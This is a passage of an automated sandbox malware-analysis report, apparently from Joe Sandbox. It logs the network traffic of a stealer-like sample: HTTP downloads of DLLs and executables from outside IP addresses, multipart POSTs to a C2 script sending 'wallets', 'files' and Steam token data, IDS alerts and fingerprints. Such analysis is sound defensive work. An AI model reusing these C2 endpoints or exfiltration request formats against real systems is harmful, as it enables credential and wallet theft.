43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file"------AKJDAEGCAFIIDGDGCGIJ--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAEHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIJJEBKEBFCBGDAEGDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 4a 4a 45 42 4b 45 42 46 43 42 47 44 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------FBFIJJEBKEBFCBGDAEGDContent-Disposition: form-data; name="message"wallets------FBFIJJEBKEBFCBGDAEGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 2d 2d 0d 0a Data Ascii: ------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="message"files------BAEBGCFIEHCFIDGCAAFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 2d 2d 0d 0a Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="file"------KJDGDBFBGIDGIEBGHCGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"ybncbhylepme------ECGDAAFIIJDAAAAKFHID--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 30 66 31 35 33 37 32 30 36 63 37 61 63 33 64 34 31 34 30 64 33 36 64 39 30 35 37 31 38 61 30 35 36 30 30 63 38 37 30 63 31 32 63 62 33 33 61 30 64 31 33 35 35 36 36 36 61 35 31 34 31 30 39 64 38 61 37 35 66 35 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="token"70f1537206c7ac3d4140d36d905718a05600c870c12cb33a0d1355666a514109d8a75f55------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGHIECGCBKFHIEBGHDBK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/1784263691/tvtC9D3.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 39 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009917001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/6015073251/uxN4wDZ.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49716 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49813 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49926 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50095 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50092 -> 31.41.244.11:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.223.35.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_00C5BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

28_2_00C5BE30

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20231005T064724Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5e6fda521c7d4a94aa3a5bd381088fca&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605405&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605405&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: jJByShAlEU63wept.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20231005T064724Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c81d580680974531a230ce6f238db6e0&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605405&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605405&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6Cache-Control: no-cacheMS-CV: jJByShAlEU63wept.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T162411Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=c6a03959b5264bb3ae4998d8ac31855d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605406&metered=false&nettype=ethernet&npid=sc-338387&oemName=umvjqd%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=umvjqd20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605406&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAaUGtBD9TQeY+/uze8RnPs3+L60iougrlxhJbMbvrXYtiqJAKBhknfCbdbGV/lVnA37BrJa2Isry7AiGaBv+lwAS/MaTCJNUUEZCAE3GI1ROLLGzXqEINBxCloTgQpiBF7AsI/IuPrbrI2sygzJ53N6s6og+FBXX/jxvEDnQxxieZTPsTPWX8VOoV3ISugvU/RR/ydVU4+GymUBIbngTUHXKtSUdFiDUEIu3x51rwfbBmV73DeD8InTUcbIuw3DYTwa46p7AfY6J5TRtjkfK/JVVRUM63PcxKThprG3pfVdfV5rDqUiclsfk/mjHfvavXIDrU1XDs7oG5KwrIYdxBSIQZgAAEK5lhgt/cESZ2hqutNNRiQiwAS0/NSCxJdOM4HW2J6Lh0JdJfOFE5z86SYc8YVhX2RZWim9GUlUXsIaFxXkuv9S3KQTSfR4FOPV4ytZ77S+buo69/vhufEMyA40Vkmmt0N9mOEZb9+B0ggBHcZFF21zmN7dQPKK5vmJe7n5ulZWUUc/ZmolEMmvf115QmLIHTWhCsw5lZTf8M5WpiJG7X0X9NSncpUKZaU6IsGjAy9z8vh3zeDJIaEBT5hNCfmT+UbuAEirmBzy6sB3hz3AzuyBy0645k0B7/1z+RsfxwZCa1d5G4VnIL5J4jmB+yE+1x0TAlqY2YMQ7noFvhFDSrIsev5QMHwsZdv2MQlM8ys/zHBay3lrPqhbagY+CGmCT050njdakDDLsodZ1GosLpwk+B+BE3owdCrnm4e5mJooyJ2vYVyPaP7B/eKFYyrjbX1qtJV+1kJc+MH3+GA2FpTn0eVoBuvoSxxiLSrERPHI7LmZYX1p/H6UQvRSHVfSroPvAtwRUtRHQrwrclZaTnewqNo4wjuMXrmGes5A1HKHxUDUwVN5G8Bua4KtRVp3H0jIAhSGul+73wh8M+MwDpRlfVdgB&p=Cache-Control: no-cacheMS-CV: vwTWr6w750qPAX8q.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T162411Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=0fa948bcc42d4bc7bcb494ed4a3296d1&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605406&metered=false&nettype=ethernet&npid=sc-280815&oemName=umvjqd%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=umvjqd20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605406&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAaUGtBD9TQeY+/uze8RnPs3+L60iougrlxhJbMbvrXYtiqJAKBhknfCbdbGV/lVnA37BrJa2Isry7AiGaBv+lwAS/MaTCJNUUEZCAE3GI1ROLLGzXqEINBxCloTgQpiBF7AsI/IuPrbrI2sygzJ53N6s6og+FBXX/jxvEDnQxxieZTPsTPWX8VOoV3ISugvU/RR/ydVU4+GymUBIbngTUHXKtSUdFiDUEIu3x51rwfbBmV73DeD8InTUcbIuw3DYTwa46p7AfY6J5TRtjkfK/JVVRUM63PcxKThprG3pfVdfV5rDqUiclsfk/mjHfvavXIDrU1XDs7oG5KwrIYdxBSIQZgAAEK5lhgt/cESZ2hqutNNRiQiwAS0/NSCxJdOM4HW2J6Lh0JdJfOFE5z86SYc8YVhX2RZWim9GUlUXsIaFxXkuv9S3KQTSfR4FOPV4ytZ77S+buo69/vhufEMyA40Vkmmt0N9mOEZb9+B0ggBHcZFF21zmN7dQPKK5vmJe7n5ulZWUUc/ZmolEMmvf115QmLIHTWhCsw5lZTf8M5WpiJG7X0X9NSncpUKZaU6IsGjAy9z8vh3zeDJIaEBT5hNCfmT+UbuAEirmBzy6sB3hz3AzuyBy0645k0B7/1z+RsfxwZCa1d5G4VnIL5J4jmB+yE+1x0TAlqY2YMQ7noFvhFDSrIsev5QMHwsZdv2MQlM8ys/zHBay3lrPqhbagY+CGmCT050njdakDDLsodZ1GosLpwk+B+BE3owdCrnm4e5mJooyJ2vYVyPaP7B/eKFYyrjbX1qtJV+1kJc+MH3+GA2FpTn0eVoBuvoSxxi